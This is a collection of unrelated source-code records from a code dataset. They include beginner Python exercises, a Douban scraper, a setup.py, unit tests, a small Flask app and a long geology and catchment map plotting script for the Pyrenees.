str3+line1+str4\nstr2 = \"\\n\\n\\n\"\nline = str1+str5+line+str2\n\n# read info file\n#line1 = line1 + \".info\"\nline1 = line1.replace(\".txt\", \".info\")\nf = open (line1)\nwhile True:\n\tline2 = f.readline()\n\tif line2 == '\\n':\n\t\tbreak;\n\tif line2:\n\t\tline2 = line2.strip('\\n')\n\t\tif line2[0] == 'I':\n\t\t\tstr6 = line2[2:len(line)]\n\t\t\tstr7 = \"\"\n\t\t\tstr8 = \"\"\n\t\t\tstr9 = str7+str6+str8\n\t\t\tline = line.replace(str6, str9)\n\t\t\t#f1.writelines(line);\n\t\telif line2[0] == 'B':\n\t\t\tstr6 = line2[2:len(line)]\n\t\t\tstr7 = \"\"\n\t\t\tstr8 = \"\"\n\t\t\tstr9 = str7+str6+str8\n\t\t\tline = line.replace(str6, str9)\n\t\t\t#f1.writelines(line);\n\t\telif line2[0] == 'U':\n\t\t\tstr6 = line2[2:len(line)]\n\t\t\tstr7 = \"\"\n\t\t\tstr8 = \"\"\n\t\t\tstr9 = str7+str6+str8\n\t\t\tline = line.replace(str6, str9)\n\t\t\t#f1.writelines(line);\n\telse:\n\t\tbreak;\nf1.writelines(line);\nf.close()\nf1.close();\n\n\n#print line","sub_path":"a4.py","file_name":"a4.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"54361767","text":"import pandas as pd\nimport numpy as np\n\ndef Predictor(file):\n fileIn = pd.read_csv(file + '.csv')\n Pulse = fileIn.iloc[:, 0].values\n BloodPressure = fileIn.iloc[:, 1].values\n BloodOxygen = fileIn.iloc[:, 2].values\n \n dic = dict()\n dic['Pulse'] = int(np.mean(Pulse))\n dic['BloodPressure'] = int(np.mean(BloodPressure))\n dic['BloodOxygen'] = int(np.mean(BloodOxygen))\n return dic\n\ndef main():\n dict1 = Predictor(\"data\")\n print(dict1)\nmain()\n","sub_path":"AI API/predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"451948373","text":"from __future__ import print_function\nfrom receiver import NXTReceiver, unpack_u16\nfrom datetime import datetime\n\nrc = NXTReceiver()\n\ndef get_line(data):\n return \",\".join([str(unpack_u16(data[i:i+2])) for i in range(0, data.__len__(), 2)]) + \"\\n\"\n\nwith open(\"cries.log\", \"w\") as f:\n while True:\n time = unicode(datetime.now())\n data = get_line(rc.recv(256))\n f.write(data)\n","sub_path":"dataset/generate_set.py","file_name":"generate_set.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"125314418","text":"'''\n*grapevine* (formerly known as *python-pipeline*) lets you create pipelines of\niterators.\n'''\n\nimport distutils.core\ntry:\n import sphinx.setup_command as sphinx_setup_command\nexcept ImportError:\n sphinx_setup_command = None\n\nclassifiers = '''\nDevelopment Status :: 3 - Alpha\nIntended Audience :: Developers\nLicense :: OSI Approved :: MIT License\nOperating System :: OS Independent\nProgramming Language :: Python\nProgramming Language :: Python :: 3\nTopic :: Software Development :: Libraries :: Python Modules\n'''.strip().splitlines()\n\ndef get_version():\n d = {}\n file = open('grapevine.py', encoding='UTF-8')\n try:\n for line in file:\n if line.startswith('__version__ ='):\n exec(line, d)\n finally:\n file.close()\n try:\n return d['__version__']\n except LookupError:\n raise IOError('unexpected end-of-file')\n\ncmdclass = {}\n\nif sphinx_setup_command is not None:\n cmdclass['build_doc'] = sphinx_setup_command.BuildDoc\n\ndistutils.core.setup(\n name = 'grapevine',\n version = get_version(),\n license = 'MIT',\n platforms = ['any'],\n description = 'iterator pipelines',\n long_description = __doc__.strip(),\n classifiers = classifiers,\n url = 'http://jwilk.net/software/python-grapevine',\n author = 'Jakub Wilk',\n author_email = 'jwilk@jwilk.net',\n py_modules = ['grapevine'],\n cmdclass = cmdclass,\n)\n\n# vim:ts=4 sw=4 et\n","sub_path":"pypi_install_script/grapevine-1.0py3k.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"478981827","text":"\"\"\"\nMerge function for 2048 game.\n\"\"\"\n\ndef merge(line):\n \"\"\"\n Function that merges a single row or column in 2048.\n \"\"\"\n rlist = []\n mlist = []\n for dummy_num in range(len(line)):\n rlist.append(0)\n mlist.append(0)\t#create two list all is 0 and has same element number of line \n rlist_loc = 0\n for item in line:\n if item != 0:\n rlist[rlist_loc] = item\n rlist_loc = rlist_loc + 1\t#copy elements in line to rlist \n for num in range(len(rlist) - 1):\n if rlist[num] != 0 and rlist[num] == rlist[num + 1]:\n rlist[num] = rlist[num] * 2\n rlist[num + 1] = 0\n mlist_loc = 0\n for item in rlist:\n if item != 0:\n mlist[mlist_loc] = item\n mlist_loc = mlist_loc + 1\t#copy elements in rlist to mlist and merged it \n return mlist\n","sub_path":"Coursera/Principles_of_computing_part1/mini_project1_2048_Merge.py","file_name":"mini_project1_2048_Merge.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"119689516","text":"\"\"\"\nПример создания модульного теста\n\"\"\"\n\nimport unittest\nfrom typing import Tuple\n\n\ndef factorize(x: int) -> Tuple:\n \"\"\"\n Разложение заданного числа на простые множители\n :param x: целое число\n :return: в случае успеха кортеж с простыми числами, иначе выбрасываем исключение\n \"\"\"\n pass\n\n\nclass TestFactorize(unittest.TestCase):\n def test_wrong_types_raise_exception(self):\n for x in ['string', 1.5]:\n with self.subTest(x=x):\n self.assertRaises(TypeError, factorize, x)\n\n def test_negative(self):\n for x in [-1, -10, -100]:\n with self.subTest(x=x):\n self.assertRaises(ValueError, factorize, x)\n\n def test_zero_and_one_cases(self):\n for x in [0, 1]:\n with self.subTest(x=x):\n self.assertEqual(factorize(x), (x,))\n\n def test_simple_numbers(self):\n for x in [3, 13, 29]:\n with self.subTest(x=x):\n self.assertEqual(factorize(x), (x,))\n\n def test_two_simple_multipliers(self):\n cases = [\n (6, (2, 3)),\n (26, (2, 13)),\n (121, (11, 11))\n ]\n for x, expected in cases:\n with self.subTest(x=x):\n self.assertEqual(factorize(x), expected)\n\n def test_many_multipliers(self):\n cases = [\n (1001, (7, 11, 13)),\n (9699690, (2, 3, 5, 7, 11, 13, 17, 19))\n ]\n for x, expected in cases:\n with self.subTest(x=x):\n self.assertEqual(factorize(x), expected)\n","sub_path":"course_02/week_01/test_factorize.py","file_name":"test_factorize.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"594804144","text":"#!/usr/bin/env python\n#-*-coding:utf-8-*-\nfrom urllib import urlopen\nfrom bs4 import BeautifulSoup\n\nurl = 'http://movie.douban.com/'\ntext = urlopen(url).read()\nsoup = BeautifulSoup(text)\n\njobs = set()\nfor header in soup.find_all('li',class_ = 'ui-slide-item'):\n try :\n title = header['data-title']\n actors = header['data-actors']\n release = header['data-release']\n director = header['data-director']\n print ('%s-%s-%s-%s' % (title,release,director,actors))\n except KeyError:\n continue\n\n","sub_path":"bs4/douban1.py","file_name":"douban1.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"274788950","text":"\"\"\"\r\nCreated on Fri Feb 23 14:28:42 2018\r\n@author: Thomas B\r\nDescription:\r\n\"\"\"\r\n\r\n#%%===============================IMPORT_LIBRARY============================%%#\r\nimport matplotlib\r\nmatplotlib.use(\"Agg\")\r\nimport matplotlib.pyplot as plt\r\nimport time as clock\r\nfrom matplotlib import rcParams\r\nimport matplotlib.cm as cm\r\nimport LSDPlottingTools as LSDP\r\nfrom LSDMapFigure.PlottingRaster import MapFigure\r\nfrom LSDMapFigure.PlottingRaster import BaseRaster\r\nfrom LSDPlottingTools import colours as lsdcolours\r\nfrom LSDPlottingTools import init_plotting_DV\r\nimport sys\r\nfrom matplotlib.offsetbox import AnchoredOffsetbox, TextArea, DrawingArea, HPacker\r\nfrom matplotlib.patches import Rectangle\r\nfrom matplotlib.patches import Circle\r\nimport matplotlib.lines as mlines\r\nimport numpy as np\r\nfrom matplotlib.colors import LinearSegmentedColormap\r\n\r\n#%%=============================FILES_PARAMETERS============================%%#\r\nImport_Directory = '/home/s1687599/Datastore/LSDTopoTools/Topographic_projects/LSDTT_Pyrenees_data/Basin_Analyses_v5_LSDTT/' # reading directory (if it is on windows, the path is something like C://windows/Users/blablalba/)\r\nBaseRasterName = 'Pyrenees_v5_PP_hs_Zoom.bil' # It will be the cabkground raster. Each other raster you want to drap on it will be cropped to its extents including nodata\r\nExport_Directory = '/home/s1687599/Datastore/Post-orogenic sediment flux to continental margins/Publication_Report/Paper_Control_of_lithology_on_landscape_of_the post-orogenesis_of_Pyrenees_TB-HS/FIGURE_V2.0/' # writing directory (if it is on windows, the path is something like C://windows/Users/blablalba/)\r\nExportFigure = Export_Directory+'FIGURE1c_Geology+Catchment.pdf'\r\nRasterName = \"Pyrenees_v5_PP_Zoom_Geology.bil\" # if you want to drap a raster on your background one. Just add a similar line in case you want another raster to drap and so on\r\n\r\nBasinInfoPrefix_NogPal = 'Extract_Basin_NogueraPallaresa'\r\nRasterName_NogPal = 'Extract_Basin_NogueraPallaresa_AllBasins.bil'\r\nBasinInfoPrefix_NogRib = 'Extract_Basin_NogueraRibagorzana'\r\nRasterName_NogRib = 'Extract_Basin_NogueraRibagorzana_AllBasins.bil'\r\nBasinInfoPrefix_Ira = 'Extract_Basin_Irati2'\r\nRasterName_Ira = 'Extract_Basin_Irati2_AllBasins.bil'\r\nBasinInfoPrefix_LLo = 'Extract_Basin_Llobegrat'\r\nRasterName_LLo = 'Extract_Basin_Llobegrat_AllBasins.bil'\r\nBasinInfoPrefix_GdP = 'Extract_Basin_GavedePau'\r\nRasterName_GdP = 'Extract_Basin_GavedePau_AllBasins.bil'\r\nBasinInfoPrefix_Gar = 'Extract_Basin_Garonne2'\r\nRasterName_Gar = 'Extract_Basin_Garonne2_AllBasins.bil'\r\nBasinInfoPrefix_Gal = 'Extract_Basin_Gallego'\r\nRasterName_Gal = 'Extract_Basin_Gallego_AllBasins.bil'\r\nBasinInfoPrefix_Cin = 'Extract_Basin_Cinca'\r\nRasterName_Cin = 'Extract_Basin_Cinca_AllBasins.bil'\r\nBasinInfoPrefix_Aud = 'Extract_Basin_Aude'\r\nRasterName_Aud = 'Extract_Basin_Aude_AllBasins.bil'\r\nBasinInfoPrefix_Ari = 'Extract_Basin_Ariege'\r\nRasterName_Ari = 'Extract_Basin_Ariege_AllBasins.bil'\r\nBasinInfoPrefix_Ara = 'Extract_Basin_Aragon2'\r\nRasterName_Ara = 'Extract_Basin_Aragon2_AllBasins.bil'\r\nBasinInfoPrefix_Tet = 'Extract_Basin_Tet'\r\nRasterName_Tet = 'Extract_Basin_Tet_AllBasins.bil'\r\nBasinInfoPrefix_Ter = 'Extract_Basin_Ter'\r\nRasterName_Ter = 'Extract_Basin_Ter_AllBasins.bil'\r\nBasinInfoPrefix_Seg = 'Extract_Basin_Segre'\r\nRasterName_Seg = 'Extract_Basin_Segre_AllBasins.bil'\r\nBasinInfoPrefix_Sal = 'Extract_Basin_Salat2'\r\nRasterName_Sal = 'Extract_Basin_Salat2_AllBasins.bil'\r\nBasinInfoPrefix_Sai = 'Extract_Basin_Saison'\r\nRasterName_Sai = 'Extract_Basin_Saison_AllBasins.bil'\r\n\r\ncsv_file1 = Import_Directory+'AHe_Data_used.csv'\r\ncsv_file2 = Import_Directory+'AHe_Data_not_used.csv'\r\n\r\n#%%========================CUSTOM_SEGMENTED_COLORMAP========================%%#\r\nCustomColor=['#C8C864','#AF5A5A','#A7DBA7','#F3C793','#F5A7A7','#6E899B','#A6835F','#9D78C1','#6E9C6E','#DAB0DA','#B1DEDE']\r\nCustomColorMap = matplotlib.colors.ListedColormap(CustomColor)\r\n\r\nCustomColorComb=['#C8C864','#AF5A5A','#A7DBA7','#F3C793','#AF5A5A','#6E899B','#A6835F','#9D78C1','#6E9C6E','#AF5A5A','#B1DEDE']\r\nCustomColorCombMap = matplotlib.colors.ListedColormap(CustomColorComb)\r\n\r\nCustomColorCombForLegend=['#C8C864','#AF5A5A','#A7DBA7','#F3C793','#6E899B','#A6835F','#9D78C1','#6E9C6E','#B1DEDE']\r\nCustomColorCombForLegendMap = matplotlib.colors.ListedColormap(CustomColorCombForLegend)\r\n\r\n#%%============================LOAD_AND_PLOT_DATA===========================%%#\r\nplt.clf() \r\n\r\nMF = MapFigure(BaseRasterName=BaseRasterName,\r\n Directory=Import_Directory,\r\n coord_type=\"UTM\",\r\n colourbar_location=\"right\",\r\n basemap_colourmap=\"gray\",\r\n plot_title='None',\r\n NFF_opti=False) # load and display the background hillslope raster\r\n\r\nMF.add_drape_image(RasterName=RasterName,\r\n Directory=Import_Directory,\r\n colourmap=CustomColorCombMap,\r\n alpha=0.66,\r\n show_colourbar=False,\r\n colorbarlabel='Lithology',\r\n modify_raster_values=False,\r\n NFF_opti=False)\r\n\r\nMF.add_basin_plot(RasterName=RasterName_NogPal,BasinInfoPrefix=BasinInfoPrefix_NogPal,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'13'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_NogRib,BasinInfoPrefix=BasinInfoPrefix_NogRib,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'12'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Ira,BasinInfoPrefix=BasinInfoPrefix_Ira,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'8'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_LLo,BasinInfoPrefix=BasinInfoPrefix_LLo,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'15'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_GdP,BasinInfoPrefix=BasinInfoPrefix_GdP,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'2'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Gar,BasinInfoPrefix=BasinInfoPrefix_Gar,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'3'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Gal,BasinInfoPrefix=BasinInfoPrefix_Gal,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'10'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Cin,BasinInfoPrefix=BasinInfoPrefix_Cin,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'11'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Aud,BasinInfoPrefix=BasinInfoPrefix_Aud,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'6'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Ari,BasinInfoPrefix=BasinInfoPrefix_Ari,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'5'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Ara,BasinInfoPrefix=BasinInfoPrefix_Ara,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'9'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Tet,BasinInfoPrefix=BasinInfoPrefix_Tet,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'7'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Ter,BasinInfoPrefix=BasinInfoPrefix_Ter,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'16'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Seg,BasinInfoPrefix=BasinInfoPrefix_Seg,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'14'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Sal,BasinInfoPrefix=BasinInfoPrefix_Sal,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'4'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\nMF.add_basin_plot(RasterName=RasterName_Sai,BasinInfoPrefix=BasinInfoPrefix_Sai,Directory=Import_Directory,\r\n colourmap = \"gray\",alpha=0.2,\r\n show_colourbar = False, colorbarlabel = \"Colourbar\",\r\n discrete_cmap=False, n_colours=10, cbar_type=float,\r\n use_keys_not_junctions = True,\r\n label_basins = True, adjust_text = False, rename_dict = {0:'1'},\r\n value_dict = {}, mask_list = [],\r\n edgecolour='black', linewidth=1, cbar_dict = {}, parallel=False,\r\n outlines_only = True,zorder = 3)\r\n\r\n#%%================================FIGURE_SAVE==============================%%#\r\nMF.save_fig(fig_width_inches=6,\r\n FigFileName=ExportFigure,\r\n FigFormat='pdf',\r\n Fig_dpi=1200) ","sub_path":"FIGURE2c_Geology+Catchment.py","file_name":"FIGURE2c_Geology+Catchment.py","file_ext":"py","file_size_in_byte":15187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"407912444","text":"from flask import Flask\napp = Flask(__name__)\n\n\n \nwith codecs.open(\"autocomplete.json\", \"r\", encoding='utf8') as file:\n f_output = file.read()\n\njsoned = json.loads(f_output)\n\n\n\n@app.route('/listele')\ndef listele_():\n\n\n joined = \"
\".join(i[\"madde\"] for i in jsoned) \n \n return joined\n\n@app.route('/sirali_listele')\ndef sirali_listele_():\n\n topla_kelime = \"\"\n i_say = 0\n for i in jsoned:\n i_say += 1\n kelime = \"%s\" % i[\"madde\"]\n\n topla_kelime = topla_kelime + \"%d. %s
\" % (i_say, kelime)\n \n \n return topla_kelime\n\nif __name__ == \"__main__\":\n app.run()\n \n","sub_path":"apptrogren/TDK_jsoned_words_2_liste.py","file_name":"TDK_jsoned_words_2_liste.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"523057468","text":"import pytest\n\nfrom giftshop.app_factory import create_app\nfrom giftshop.models import db\n\n\n@pytest.yield_fixture()\ndef app():\n \"\"\"Create fixture for tests.\"\"\"\n flask_app = create_app(config_object='giftshop.config.TestingConfig')\n flask_app.app_context().push()\n\n db.drop_all()\n db.create_all()\n\n yield flask_app\n\n db.session.rollback()\n db.session.remove()\n\n db.drop_all()\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"235842805","text":"import random\n\ndef numLes(y):\n print('\\n', '='*15, 'Задание №', y, '='*15)\n# Задача-1:\n# Дан список, заполненный произвольными целыми числами, получите новый список,\n# элементами которого будут квадратные корни элементов исходного списка,\n# но только если результаты извлечения корня не имеют десятичной части и\n# если такой корень вообще можно извлечь\n# Пример: Дано: [2, -5, 8, 9, -25, 25, 4] Результат: [3, 5, 2]\nnumLes(1)\ny = 25\nlist1 = []\nlist2 =[]\nfor z in range(0, y):\n x = random.randint(-10, 50)\n list1.append(x)\nprint('list1 = \\t\\t\\t', list1, 'Общей длинной:\\t', len(list1), 'элементов')\n\nfor z in list1:\n try:\n if z >= 0 and (float(z) % (z ** 0.5) == 0):\n list1[list1.index(z)] = int(z ** 0.5)\n list2.append(int(z ** 0.5))\n else:\n list1[list1.index(z)] = ''\n except:\n continue\n#print(45%5.0)\nprint('Новый список: \\t\\t', list1)\nprint('Новый список: \\t\\t', list2)\n\n# Задача-2: Дана дата в формате dd.mm.yyyy, например: 02.11.2013.\n# Ваша задача вывести дату в текстовом виде, например: второе ноября 2013 года.\n# Склонением пренебречь (2000 года, 2010 года)\nnumLes(2)\ndata_dict = {\n 'day': ['первое', 'второе', 'третье', 'четвертое', 'пятое', 'шестое', 'седьмое', 'восьмое', 'девятое', 'десятое', 'одинадцатое', 'двенадцатое',\n 'тринадцатое', 'четырнадцатое', 'пятнадцатое', 'шестнадцатое', 'семнадцатое', 'восемнадцатое', 'девятнадцатое', 'двадцатое', 'двадцать первое',\n 'двадцать второе', 'двадцать четвертое', 'двадцать пятое', 'двадцать шестое', 'двадцать седьмое', 'двадцать восьмое', 'двадцать девятое',\n 'тридцатое', 'тридцать первое'],\n 'month': ['января', 'февраля', 'марта', 'апреля', 'мая', 'июня', 'июля', 'августа', 'сентября', 'октября', 'ноября', 'декабря']\n }\n\ndef ch_data(data_user):\n num_day = data_dict['day'][int(data_user[0:2])-1]\n num_monf = data_dict['month'][int(data_user[3:5])-1]\n num_year = int(data_user[-4:])\n data_user=('{0} {1} {2} года'.format(num_day, num_monf, num_year))\n return data_user\n\ndata_user = input('Введите дату в формате dd.mm.yyyy:\\n')\ntry:\n print(ch_data(data_user))\nexcept:\n print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\\n'\n '!!!!!!!Запустите программу заново и введите корректную дату в формате dd.mm.yyyy!!!!!!!!\\n'\n '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n# Задача-3: Напишите алгоритм, заполняющий список произвольными целыми числами\n# в диапазоне от -100 до 100. В списке должно быть n - элементов.\n# Подсказка:\n# для получения случайного числа используйте функцию randint() модуля random\nnumLes(3)\n\nlist1 = []\nn = 100\n\nfor z in range(0, n):\n x = random.randint(-100, 100)\n list1.append(x)\nprint('list1 = \\t\\t\\t', list1, 'Общей длинной:\\t', len(list1), 'элементов')\n\n# Задача-4: Дан список, заполненный произвольными целыми числами.\n# Получите новый список, элементами которого будут: \n# а) неповторяющиеся элементы исходного списка:\n# например, lst = [1, 2, 4, 5, 6, 2, 5, 2], нужно получить lst2 = [1, 2, 4, 5, 6]\n# б) элементы исходного списка, которые не имеют повторений:\n# например, lst = [1 , 2, 4, 5, 6, 2, 5, 2], нужно получить lst2 = [1, 4, 6]\nnumLes(4)\n\nlist1 = []\nlist2 = []\nlist3 = []\nlist4 = []\ny = 30\n\nfor z in range(0, y):\n x = random.randint(0, 50)\n list1.append(x)\nlist1.sort()\nprint('a)\\t\\tlist1 =\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t', list1, 'Общей длинной:\\t', len(list1), 'элементов')\n\nlist2 = list(set(list1))\nprint('\\t\\tНеповторяющиеся элементы списка list1 = list2', list2, '\\n\\n')\n# =============================================================================================\nprint('б)\\t\\tlist1 = \\t\\t\\t\\t\\t', list1, 'Общей длинной:\\t', len(list1), 'элементов')\n\nlist2 = list(set(list1))\nlist3 = list1.copy()\nfor x in list2:\n list3.pop(list3.index(x))\n\nlist3 = list(set(list3))\nfor x in list3:\n list1.pop(list1.index(x))\n while True:\n try:\n if list1.index(x) >= 0:\n list1.pop(list1.index(x))\n except:\n break\nlist2 = list1\nprint('Список list2 из элементов list1,\\nкоторые не имеют повторений:\\t\\t', list2)","sub_path":"PythonProj/lesson02/home_work/hw02_normal.py","file_name":"hw02_normal.py","file_ext":"py","file_size_in_byte":5608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"600045210","text":"from api import post\nfrom lxml import html\nimport requests\nfrom db.models import Parser\nclass Parser:\n def __init__(self, parseUrl, groupId):\n self.parseUrl = parseUrl\n self.groupId = groupId\n self.url = \"\"\n self.title = \"\"\n\n def parseUrlAndTitle(self, xpath):\n page = requests.get(self.parseUrl)\n tree = html.fromstring(page.content)\n self.url = tree.xpath('//header[@class=\"entry-header\"]//h2//a/@href')[0]\n self.title = tree.xpath('//header[@class=\"entry-header\"]//h2//a/text()')[0].strip()\n\n def post(self):\n content = title + \"\\n\" + url\n r = requests.post(URL + '/' + group_id + '/post', data={'content': content},\n headers={\"X-Namba-Auth-Token\": USER_TOKEN})\n responseData = r.json()\n if responseData['success'] != True:\n print(responseData)\n raise Exception(\"Error While Posting\")\n else:\n print(\"success\")\n","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"88927501","text":"# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# 